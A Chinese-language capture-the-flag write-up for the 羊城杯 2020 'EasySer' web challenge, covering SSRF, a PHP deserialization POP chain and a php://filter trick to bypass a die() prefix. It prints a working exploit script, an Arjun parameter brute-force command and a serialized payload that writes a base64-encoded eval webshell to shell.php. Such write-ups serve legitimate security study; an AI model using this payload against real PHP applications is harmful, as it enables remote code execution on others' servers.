• [羊城杯 2020]EasySer


    前言:

    。。。

    考点:

    代码审计

    SSRF

    die 死亡绕过

    正文:

    进入环境是一个ubuntu的信息,大概率没什么用

     按照常规思路 扫一下目录:

     扫到两个文件  robots.txt 和 index.php

    先访问一下 robotstxt吧

     f12看源码:

     提示有个ser.php,并且提到 需要用不安全的协议

    这里提一嘴,http相对https 是不安全的,因为http 是明文传输,数据未被加密,而https 是ssl +http 协议传输,相比http更加安全。

    那么这个输入框就应该是ssrf 读取ser.php

     

     下面会出现源码,代码审计环节:

    1. error_reporting(0);
    2. if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    3. highlight_file(__FILE__);
    4. }
    5. $flag='{Trump_:"fake_news!"}';
    6. class GWHT{
    7. public $hero;
    8. public function __construct(){
    9. $this->hero = new Yasuo;
    10. }
    11. public function __toString(){
    12. if (isset($this->hero)){
    13. return $this->hero->hasaki();
    14. }else{
    15. return "You don't look very happy";
    16. }
    17. }
    18. }
    19. class Yongen{ //flag.php
    20. public $file;
    21. public $text;
    22. public function __construct($file='',$text='') {
    23. $this -> file = $file;
    24. $this -> text = $text;
    25. }
    26. public function hasaki(){
    27. $d = '';
    28. $a= $d. $this->text;
    29. @file_put_contents($this-> file,$a);
    30. }
    31. }
    32. class Yasuo{
    33. public function hasaki(){
    34. return "I'm the best happy windy man";
    35. }
    36. }
    37. ?> your hat is too black!

    先看出口,有个写入文件的操作:

    1. public function hasaki(){
    2. $d = '';
    3. $a= $d. $this->text;
    4. @file_put_contents($this-> file,$a);
    5. }
    6. }

    看看哪里能调用 hasaki() 函数, 找到:

    1. public function __toString(){
    2. if (isset($this->hero)){
    3. return $this->hero->hasaki();
    4. }else{
    5. return "You don't look very happy";
    6. }

    这里调用了hasaki() ,但是得看看哪里能够触发 __toString. 同样是GWHT类:

    1. class GWHT{
    2. public $hero;
    3. public function __construct(){
    4. $this->hero = new Yasuo;
    5. }

    这里的 __construct()方法 有把类当作字符串赋值的操作,能够调用 __toString,但是他这里是new Yasuo ,他会调用Yasuo 类的hasaki函数,我们改成new Yongen就好了。 不得不说,这出题者也是个爱玩lol的玩家。

    总结一下pop链:

    __construct() ->hero->new Yongen => __toString() =>   hasaki() =>file_put_content()

    挺简单的一个pop链构造,但是我们看到:

    1. public function hasaki(){
    2. $d = '';
    3. $a= $d. $this->text;
    4. @file_put_contents($this-> file,$a);
    5. }

     他会把die 进入文件内容中,使的我们后面写入的恶意代码无法执行,该怎么绕过呢?

    原理很简单,可以使用死亡杂糅,把这个 标签给杂糅掉

    利用php伪协议流,写入base64编码,进行string.strip_tags过滤掉 再对文件内容进行解密,就得到了我们写入的 恶意代码,之前的被杂糅掉了,不影响我们后续的代码。

    exp:

    1. class GWHT{
    2. public $hero;
    3. }
    4. class Yongen{ //flag.php
    5. public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    6. public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
    7. }
    8. $a = new GWHT();
    9. $a ->hero = new Yongen();
    10. echo urlencode(serialize($a));
    11. //

    但是题中并没有 给我们提交payload 的入口,所以我们需要利用工具爆破一下url的参数,

    这里利用到 Arjun,在ssti 用的也比较多。

    arjun -u http://ec37ecf2-cb44-4930-b08c-4470f9f383b8.node4.buuoj.cn:81/star1.php?path=http//127.0.0.1/ser.php -c 100 -d 5 
    

    爆破出来参数名为 path 和c。

    提交payload:

    star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:36:"PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";}}

     总结:

    老知识点了。

  • 相关阅读:
    2520. 统计能整除数字的位数 : 简单模拟题(时空复杂度最优解)
    springboot +shiro 缓存用户退出bug
    走进volatile的世界,探索它与可见性,有序性,原子性之间的爱恨情仇!
    Electron:主进程、渲染进程以及通信
    Hdfs存储策略
    英伟达算法岗面试,问的贼专业。。。
    CocosCreator3.8研究笔记(二)windows环境 VS Code 编辑器的配置
    Python数学基础二、利用正弦sin求曲边图形的面积
    不知道如何将文字转语音?不如跟着我一起来操作
    达梦数据库安装--注册服务类型错误
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126920240